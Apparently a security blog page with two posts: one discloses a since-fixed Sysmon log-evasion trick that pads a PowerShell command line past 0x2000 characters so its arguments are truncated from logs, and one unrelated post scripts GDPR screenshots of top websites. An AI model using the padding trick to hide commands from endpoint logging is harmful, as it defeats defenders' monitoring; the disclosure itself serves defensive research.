Hexacorn | Hexacorn

Update

This issue was fixed by Mark Russinovich on 2018-07-06; that was pretty quick!

Old

Sysmon is an easy target, because it’s easily downloadable and everyone can poke around in its code or toy around with the system and see what sysmon logs. It’s obviously not fair – if other EDR code was that easily available I am pretty sure we would see a cascade of ‘funny stuff’ in these products as well.

Anyway…

In my older post I presented a simple technique that may fool parsers and their state machines into ‘thinking’ they are parsing correct records while in fact they are processing data some malicious software meticulously crafted for them. This is not necessarily sysmon’s problem, but who would read that old post if there was no clickbait value in the title, right?

Back to sysmon and poking around… once you start looking at it you can quickly discover that it can be run in a so-called debug mode – all we have to do is provide an undocumented command line switch ‘-t’ when we install it. When I first discovered it I got really excited, only to immediately get a bucket of cold water thrown by the Twitter post by @mattifestation who figured it out in… Jan 2018.

It’s a really cool feature.

When you run ‘sysmon -t -i’ the program will start throwing a lot messages to the console and some of them will eventually trigger your interest. Especially if you ‘help’ them a bit to appear 🙂

So… what we see in this error message is a very crucial information.

The sysmon had to truncate a very long command line which I have provided to a test process. It was so long that it had to be trimmed.

A-ha… but how long?

Well, it turns out sysmon doesn’t like command line longer than 0x2000 characters – i.e. this a number of wide characters it can swallow, before trimming down the rest.

Now this 0x2000 (Wide characters) is actually 16384 bytes only.

I was curious where the 0x2000 came from, because after reading various versions of MSDN pages about CreateProcess I know very well that the lpCommandLine argument can be much longer; as per the MSDN:

The maximum length of this string is 32,768 characters,

including the Unicode terminating null character.

So… this is an interesting discrepancy.

I have a hypothesis (and I am totally guessing it) that the sysmon author used the arbitrary limit imposed on cmd.exe command line arguments.

Such discrepancy is a nice gift and we can of course abuse it.

Since we can’t pass the command line arguments that are longer than 0x2000 characters to cmd.exe let’s try to use powershell instead.

If you run ‘powershell <0x2000 spaces> calc’ you will spawn Windows Calculator.

What will you see in the logs?

This:

And if you export it to TXT or XML you will get this:

So… using long command line arguments provided to executables that can work with such madness (e.g. powershell) can help to evade sysmon logs…

If you want to test it, grab this .exe.

I’ve been recently thinking of GDPR, and its influence on the non-EU websites… in particular, I was curious how the legislation affects the user experience for non-EU sites for visitors from EU. We hear about many websites in US simply denying the access e.g. LA Times:

but I was curious how many other web sites really do so…

I came up with a quick & dirty (and pretty simple) idea of checking how the popular web sites respond to the regulation… by visiting them and taking a screenshot.

Of course, manual check would be too labor-intensive, so I automated it.

First, I needed a list of top world web sites so I downloaded the Cisco Umbrella list. I know it’s biased, but don’t know any better source (since the free Alexa top 1M is long gone, and others – I really don’t know how accurate they are).

I then created a simple script in perl to extract the first 10000 top unique domains from the list (and exclude all subdomains on the way):

use strict;
use warnings;
my %h;
my $cnt=0;
while (<>)
{
  if (/,([^\.]+\.[^\.]+$)/)
  {
    if (!defined($h{$1}))
    {
      print "$1";
      $h{$1}++;
      $cnt++;
      exit if $cnt >= 10000;
    }
  }
}

Next, I wrote a simple phantomjs script to grab a screenshot of these domains (all accessed via http and then rerunning for https for these that didn’t work):

system = require('system')
var page = require('webpage').create();
     page.viewportSize = { width: 1024, height: 768 };
     page.clipRect = { top: 0, left: 0, width: 1024, height: 768 };
address = system.args[1];
output  = system.args[2];
page.open(address, function() {
  page.render(output);
  phantom.exit();
});

And then I ran the phantomjs on domains from this data set… each page visited is saved as a png.

To my surprise, the experiment didn’t work as I anticipated.

Most of web sites visited didn’t really make any comment on GDPR and it was business as usual. Some offer an option to accept new privacy policies. In the end I only came up with a bunch of examples.

Still, it was worth trying…

Lessons learned…

Some web sites detect phantom JS as a bot – they will block your IP, or offer a captcha challenge
Lots of top domains don’t even host a web site; you can see default IIS, Nginx pages, errors (404, 403s ;))
Privacy banners, if they exist, are handled in many different ways – from simple OK, to more advanced settings with a multi-choice questionnaire; I include some example below
Many non-English web sites provide information about privacy in their native language; this is an interesting conundrum to solve in general – how a non-speaker can use the web site w/o an ability to understand the Privacy Policies? I provide some examples in French, Italian and Dutch (and of course, English)
Way too many advertising and marketing web sites, all united to promise you the best monetization ever; and yes, AI-based advertising is already here 🙂

I am wondering if the methodology I used was incorrect? Perhaps it would be faster to just query google for all the web sites that refer to GDPR? I couldn’t come up with a good google dork though. And searching still brings many of such geo-locked web sites and include them in ‘normal’ results. You only learn about GDPR stuff when you try to visit the actual page. Google cache is still available though in some cases. So… I guess this transitional stage will last for some time. If you have any idea on how to run a research like this better, please let me know.

And finally some screenshots

diynetwork.com